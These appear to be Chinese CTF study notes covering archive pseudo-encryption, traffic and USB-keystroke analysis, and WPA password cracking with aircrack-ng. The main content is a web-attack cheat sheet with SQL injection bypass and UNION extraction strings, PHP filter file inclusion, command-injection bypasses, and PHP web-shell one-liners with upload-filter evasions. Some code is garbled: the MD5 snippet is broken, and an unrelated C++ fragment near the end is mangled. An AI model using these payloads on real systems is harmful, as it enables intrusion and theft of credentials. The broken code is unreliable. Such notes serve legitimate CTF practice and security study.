ctf_study
压缩文件分析
伪加密
zip : 先用 010 editor 打开,找到 504b0102,往后数第九,第十个字符,将其改为 0000
rar : 将第 24 字节处尾部改为 0
暴力破解
就是直接枚举密码,注意时间复杂度
Rar 文件格式错误
文件块的第三个字节为块类型
0x72,标记块
0x73,压缩文件头块
0x74,文件头块
0x75,注释头
流量包分析
使用 wireshark 分析
- 基本操作
- 过滤协议 tcp,http等
- 运用 tcp contains “” 搜寻关键词
- 运用 统计 -> 协议分级 进行快速分级
无线流量包跑密码
使用 aircrack-ng 进行破解
- 运用弱口令字典跑一下密码
aircrack-ng shipin.cap -w wordlist.txt
要跑的 txt 也可自己生成
- 得到密码后通过 ssid 和 password 进行解码
aircrack-ng shipin.cap -e SSID -p PASSWORD
usb流量分析
需要分析的数据在 Leftover Capture Data 里
先用 tshark 命令把 pcap 数据提取并去除空行
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
将文件用冒号分格
#将上面的文件用脚本分隔,加上冒号;
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16:#键盘流量的话len为16鼠标为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
键盘
分格后用脚本提取
#最后用脚本提取
# print((line[6:8])) #输出6到8之间的值
#取出6到8之间的值
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('out.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
鼠标
Leftover Capture Data 中有 4 字节
字节 1
0x00 代表没有按
0x01 为左键
0x02 为右键
字节 2
左右偏移,正为右移多少像素
字节 3
上下偏移,正为上移多少像素
提取数据:
nums = []
keys = open('Python\\USBread\\mouse\\out.txt','r',encoding="utf_16")
f = open('Python\\USBread\\mouse\\xy.txt','w',encoding="utf_16")
posx = 0
posy = 0
for line in keys:
# if len(line) != 11:
# continue
x=int(line[3:5],16)
y=int(line[6:8],16)
if x>127:
print ("aaa")
x-=256
if y>127:
print ("bbb")
y-=256
posx += x
posy += y
btn_flag = int(line[0:2],16) #1 for left,2 for right , 0 for nothing
if btn_flag == 0:#此处的0可以修改为0(未按按键)、1(左键)、2(右键),将单独输出相应坐标文件。
print (posx,posy)
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')
f.close()
转化为图片
from PIL import Image
img = Image.new('RGB',(2000,2000),(255,255,255))#创建Image对象
f =open('xy.txt')#xy.txt文件
for line in f.readlines():
point =line.split()
img.putpixel((int(point[0]),int(point[1])),(0,0,0))#读取文件中的每一行,并修改像素
f.close()
img.show()
SQL 注入
基操
-
通过
id' id" id'"等检测是什么包含 -
尝试万能密码
1' or 1=1--
1' or 1=1#
1' or 1=1/*
1' or '1'='1
'or''='
- 判断列数
id=1 order by 1
id=1 order by 2
id=1 order by 3 //报错,则有 2 行
- 爆破数据库名
id=-1 union select 1,database()
- 得到数据库名
basee,获取数据表信息
id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='basee')
- 得到表名
admin,获取字段名信息
id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='basee' and table_name='admin')
- 得到字段名
id,username,password,获取password的信息
id=-1 union select 1,(select group_concat(password) from admin)
文件包含
file=php://filter/read=convert.base64-encode/resource=flag.php
# 以 base64 编码的形式查看 flag.php
php://filter/string.rot13/resource=1.php
# 以 rot13
命令注入
绕过空格:
%09 {IFS} $IFS$ $IFS$1
cat{IFS}a.txt
cat<>a.txt
绕过黑名单:
//通过字符拼接
a=c;b=a;c=t;
$a$b$c $b.txt // 即 cat a.txt
tac a.txt // tac 相当于 cat
linux 下绕过 引号: 使用 `
文件上传
<?php @eval($_POST[shell]);>
<?php system('cat /flag');>
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
-
使用 bp 抓包修改 Content-Type:image/jpeg
-
.php 黑名单 使用 .phtml .php3 绕过,.PHP 等大小写, .php. .php (末尾空格)
-
伪装图片,文件前加:GIF89a?
-
文件名后加 ::$DATA
-
%00 截断
python 相关
MD5 加密
import hashlib
string = "asdsdjaskd"
def md5value(key):
x=hashlib.md5()
input_name.update(key.encode("utf-8))
print("big 32 bit: " + (x.hexdigest()).upper())
print("big 16 bit: " + (x.hexdigest())[8:-8].upper())
print("small 32 bit" + (x.hexdigest()).lower())
# 输出到文件
m=pow(c,p,n)
with open('output.txt','w') as file:
file.write(f'{m}')
# 读入
with open('filename', 'r') as file:
for line in file:
print(line.strip()) # strip() 去除行末的换行符
include<bits/stdc++.h>
using namespace std;
const int N=1e5+5;
int n,s,t;
vector
vector
int dfs(int u,int fa)
{
if(ut) return p.push_back(t),1;
bool f=0;
for(int v:G[u])
{
if(vfa) continue;
f|=dfs(v,u);
}
if(f) p.push_back(u);
return f;
}
void solve()
{
cin>>n>>s>>t;
p.clear();
for(int i=1;i<=n;i++) G[i].clear();
for(int i=1;i<n;i++)
{
int u,v;cin>>u>>v;
G[u].push_back(v),G[v].push_back(u);
}
int f=dfs(s,0);
reverse(p.begin(),p.end());
for(int i=0;i<p.size();i++)
{
}
}
int main()
{
int t;cin>>t;
while(t--) solve();
}

浙公网安备 33010602011771号